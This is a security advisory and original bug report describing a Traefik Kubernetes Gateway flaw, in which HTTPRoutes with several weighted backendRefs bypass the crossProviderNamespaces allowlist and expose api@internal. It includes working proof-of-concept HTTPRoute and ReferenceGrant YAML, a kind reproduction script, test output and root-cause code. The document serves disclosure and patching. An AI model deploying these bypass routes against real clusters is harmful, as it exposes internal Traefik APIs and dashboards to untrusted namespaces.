## Summary
There is a high severity vulnerability in Traefik's Kubernetes Gateway provider affecting the `crossProviderNamespaces` allowlist. For `HTTPRoute` rules that declare multiple (WRR) backendRefs, Traefik evaluates the allowlist against the target `backendRef.namespace` instead of the route's own namespace. As a result, an `HTTPRoute` created in a namespace that is not allow-listed can reference a cross-provider `TraefikService` such as `api@internal`, `dashboard@internal` or `rest@internal` by pointing `backendRef.namespace` at an allow-listed namespace covered by a Gateway API `ReferenceGrant`, exposing internal Traefik services on the data plane. Exploitation requires the ability to create an accepted `HTTPRoute` and a matching `ReferenceGrant` from an allow-listed namespace ; it does not require any change to Traefik static configuration, RBAC, or the deployment itself.
## Patches
- https://github.com/traefik/traefik/releases/tag/v3.6.21
- https://github.com/traefik/traefik/releases/tag/v3.7.5
## For more information
If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).
<details>
<summary>Original Description</summary>
# Summary
The Kubernetes Gateway provider's `crossProviderNamespaces` option is documented as restricting which Gateway API route namespaces may declare `TraefikService` backendRefs.
For `HTTPRoute` rules with multiple backendRefs, Traefik checks this allowlist against `backendRef.namespace` instead of the `HTTPRoute` namespace. A route in a namespace that is not allow-listed can therefore add `api@internal` to the generated WRR service by setting `backendRef.namespace` to an allow-listed namespace, as long as a normal Gateway API `ReferenceGrant` permits that cross-namespace reference.
Verified affected versions:
- `v3.7.1` (`fa49e2bcad7ffd8a80accdf1fae1ae480913d93d`)
- current source/master tested by me (`29406d42898547f1ffabd904f66af06c212740cf`)
# Expected Behavior
With:
```yaml
providers:
kubernetesGateway:
crossProviderNamespaces:
- trusted
```
only Gateway API routes whose own namespace is `trusted` should be allowed to declare `TraefikService` backendRefs such as `api@internal`, `dashboard@internal`, or `rest@internal`.
An `HTTPRoute` in namespace `attacker` should not be able to expose an internal Traefik service by setting:
```yaml
backendRefs:
- group: traefik.io
kind: TraefikService
name: api@internal
namespace: trusted
```
# Actual Behavior
For an `HTTPRoute` in namespace `attacker` with two backendRefs, Traefik generates a WRR service containing:
```text
[api@internal attacker-whoami-http-80]
```
even though `crossProviderNamespaces` only allows `trusted`.
# Threat Model
This does not require changing Traefik static configuration or Traefik process state. The relevant boundary is the Kubernetes Gateway provider's `crossProviderNamespaces` policy: namespaces outside the allowlist should not be able to declare cross-provider `TraefikService` backendRefs.
The precondition is a Gateway API environment where an untrusted or less-trusted namespace can create `HTTPRoute` objects accepted by a Gateway, and a namespace in the `crossProviderNamespaces` allowlist has a matching `ReferenceGrant`. `ReferenceGrant` should satisfy Gateway API cross-namespace reference rules, but it should not override Traefik's separate provider-level namespace allowlist for cross-provider internal services.
A Gateway API `ReferenceGrant` should be treated as necessary but not sufficient for this case. It authorizes the cross-namespace object reference under Gateway API rules, but Traefik's `crossProviderNamespaces` option is an additional Traefik-specific security control for cross-provider `TraefikService` backendRefs, especially `@internal` services. Therefore a `ReferenceGrant` from `trusted` must not make a route in `attacker` equivalent to a route whose own namespace is `trusted`.
# Required Attacker Capability
Required:
- create or modify an `HTTPRoute` in namespace `attacker`;
- have that `HTTPRoute` accepted by a `Gateway`;
- rely on an existing `ReferenceGrant` from an allow-listed namespace, or on a delegated namespace setup where such `ReferenceGrant` objects are managed separately from Traefik's provider configuration.
Not required:
- modifying Traefik static configuration;
- modifying the Traefik deployment or Traefik RBAC;
- modifying resources in the Traefik deployment namespace;
- modifying `providers.kubernetesGateway.crossProviderNamespaces`;
- enabling `api.insecure`;
- exposing the dashboard/API entrypoint directly.
# Documentation Evidence
The documented boundary is the namespace of the Gateway API route/resource that declares the cross-provider reference, not the namespace named in `backendRef.namespace`.
The Kubernetes Gateway provider option is documented as:
```text
List of namespaces from which Gateway API routes (HTTPRoute, TCPRoute, TLSRoute) are allowed to declare a backendRef of kind TraefikService.
```
The migration notes also describe the security reason for the option:
```text
those references ... allow a user to cross namespace boundaries, as well as exposing @internal services, that only the operator should be able to expose.
```
and the documented behavior is:
```text
["ns-a"] | Only Kubernetes resources in the listed namespaces can declare cross-provider references.
```
The provider struct uses the same route-namespace wording:
```go
CrossProviderNamespaces []string `description:"List of namespaces from which Gateway API routes are allowed to declare TraefikService backendRef references." ...`
```
The reproduced route kind is `HTTPRoute`; no Gateway API experimental-channel resources are required for the PoC.
# PoC
I validated the issue end-to-end in a local `kind` cluster with Traefik `v3.7.1`, real Gateway API CRDs, real Kubernetes `Gateway`, `HTTPRoute`, and `ReferenceGrant` resources, and HTTP requests to Traefik's normal `web` entrypoint.
The complete local reproducer I used is a self-contained `kind` PoC with these files:
```text
external-repro-kind/kind-config.yaml
external-repro-kind/traefik-v371.yaml
external-repro-kind/gateway-exploit.yaml
external-repro-kind/run-kind-repro.sh
```
Run command:
```bash
./external-repro-kind/run-kind-repro.sh
```
The script creates a local `kind` cluster, loads local `traefik:v3.7.1` and `traefik/whoami:v1.11.0` images, installs Gateway API CRDs, deploys Traefik and the PoC Gateway resources, sends the control and exploit `curl` requests to `127.0.0.1:18080`, prints route status, and deletes the cluster on exit.
Traefik was started with:
```text
--api=true
--api.dashboard=true
--api.insecure=false
--providers.kubernetesgateway=true
--providers.kubernetesgateway.crossprovidernamespaces=trusted
```
The local host entrypoint was:
```text
127.0.0.1:18080 -> kind NodePort -> Traefik web entrypoint
```
The target namespace has a normal Gateway API `ReferenceGrant`:
```yaml
apiVersion: gateway.networking.k8s.io/v1beta1
kind: ReferenceGrant
metadata:
name: allow-attacker-to-traefikservice
namespace: trusted
spec:
from:
- group: gateway.networking.k8s.io
kind: HTTPRoute
namespace: attacker
to:
- group: traefik.io
kind: TraefikService
```
Positive control:
```yaml
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
name: single-backend-control
namespace: attacker
spec:
parentRefs:
- name: shared-gateway
namespace: default
hostnames:
- control.localhost
rules:
- matches:
- path:
type: PathPrefix
value: /api
backendRefs:
- group: traefik.io
kind: TraefikService
name: api@internal
namespace: trusted
port: 80
weight: 1
```
Bypass:
```yaml
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
name: mixed-backend-bypass
namespace: attacker
spec:
parentRefs:
- name: shared-gateway
namespace: default
hostnames:
- exploit.localhost
rules:
- matches:
- path:
type: PathPrefix
value: /api
backendRefs:
- group: traefik.io
kind: TraefikService
name: api@internal
namespace: trusted
port: 80
weight: 1000000
- group: ""
kind: Service
name: whoami
port: 80
weight: 1
```
Observed external result:
```text
control: single-backend route from attacker namespace should not expose api@internal
control status: 404
404 page not found
exploit: mixed backendRef route from attacker namespace exposes api@internal
exploit returned Traefik API JSON
api@internal status: enabled
weighted members:
api@internal 1000000
attacker-whoami-http-80 1
```
The `HTTPRoute` status shows the boundary difference:
```text
single-backend-control:
Accepted=True
ResolvedRefs=False
Reason=RefNotPermitted
Message=Cannot load HTTPRoute BackendRef api@internal: internal service reference is not allowed: HTTPRoute namespace "attacker" is not in crossProviderNamespaces
mixed-backend-bypass:
Accepted=True
ResolvedRefs=True
```
This is the externally visible security failure: the same route namespace and same `api@internal` backendRef are rejected in the single-backend path, but accepted in the mixed/WRR path and exposed on the data plane.
## Minimized Root Cause Test
I also created a provider-level regression test using Traefik's fake Kubernetes/Gateway clients. This does not rely on the Docker lab, dashboard exposure, or helper backends. It is useful as a minimal root-cause test, but the external `kind` PoC above is the primary impact reproduction.
Files:
- `probe/crossprovider_namespace_probe_test.go`
- `probe/cross_provider_namespace_probe.yml`
- `probe/cross_provider_namespace_single_control.yml`
Reproduction:
```bash
cp probe/crossprovider_namespace_probe_test.go pkg/provider/kubernetes/gateway/
cp probe/cross_provider_namespace_probe.yml pkg/provider/kubernetes/gateway/fixtures/httproute/
go test ./pkg/provider/kubernetes/gateway -run TestProbeCrossProviderNamespacesHTTPRouteBackendNamespaceBypass -count=1 -v
```
Observed output on both tested versions:
```text
Messages: HTTPRoute namespace attacker must not expose api@internal when only trusted is allow-listed; members=[api@internal attacker-whoami-http-80]
```
The reproducer also includes a positive control:
```text
=== RUN TestProbeCrossProviderNamespacesHTTPRouteSingleBackendControl
--- PASS: TestProbeCrossProviderNamespacesHTTPRouteSingleBackendControl
```
That control shows the single-backend internal-service code path rejects the setup correctly. The bypass appears when the same forbidden internal backend is placed in a mixed/WRR backendRef list.
# Root Cause
The single-internal-service path checks the route namespace:
```go
case len(routeRule.BackendRefs) == 1 && isInternalService(routeRule.BackendRefs[0].BackendRef):
if !isCrossProviderNamespaceAllowed(p.CrossProviderNamespaces, route.Namespace) {
```
The mixed/multiple backendRef path calls `loadService`. In `loadService`, `namespace` is overwritten from `backendRef.Namespace`, then passed to `loadHTTPBackendRef`:
```go
namespace := route.Namespace
if backendRef.Namespace != nil && *backendRef.Namespace != "" {
namespace = string(*backendRef.Namespace)
}
...
name, service, err := p.loadHTTPBackendRef(namespace, backendRef)
```
`loadHTTPBackendRef` then checks `crossProviderNamespaces` against this target namespace:
```go
if *backendRef.Kind == "TraefikService" && strings.Contains(string(backendRef.Name), "@") {
if !isCrossProviderNamespaceAllowed(p.CrossProviderNamespaces, namespace) {
```
This lets a disallowed route namespace choose an allow-listed target namespace and pass the check.
# Impact
An untrusted route namespace may expose internal Traefik services through Gateway `HTTPRoute` despite being excluded from `crossProviderNamespaces`.
Potentially exposed internal services include:
- `api@internal`
- `dashboard@internal`
- `rest@internal`
This is a route isolation / internal service exposure / security option bypass. Practical severity depends on whether internal services are enabled and how Gateway `ReferenceGrant` delegation is used, but the observed behavior violates the documented security boundary of `crossProviderNamespaces`.
I also validated the concrete impact of the generated service graph in the local lab. The lab's intended safe baseline has the dashboard/API protected on the dashboard entrypoint:
```text
Host: dashboard.localhost -> dashboard entrypoint /api/rawdata => 401 Unauthorized
Host: dashboard.localhost -> web entrypoint /api/rawdata => 404 Not Found
```
When a router on the normal web entrypoint references `api@internal`, the same API endpoint becomes unauthenticated:
```text
Host: impact-crossprovider.localhost -> web entrypoint /api/rawdata => 200 OK
service: api@internal
```
A WRR service containing `api@internal` also exposes the API:
```text
Host: impact-crossprovider-wrr.localhost -> web entrypoint /api/rawdata => 200 OK
weighted services:
api@internal 1000
echo-svc 1
```
This is the security consequence of the provider bug: a namespace that should be blocked by `crossProviderNamespaces` can make Traefik generate a service graph containing `api@internal` on a route it controls.
# Suggested Fix
For Gateway `HTTPRoute` `TraefikService` cross-provider backendRefs, validate `crossProviderNamespaces` against `route.Namespace` in all code paths, including mixed/WRR backendRefs.
</details>
---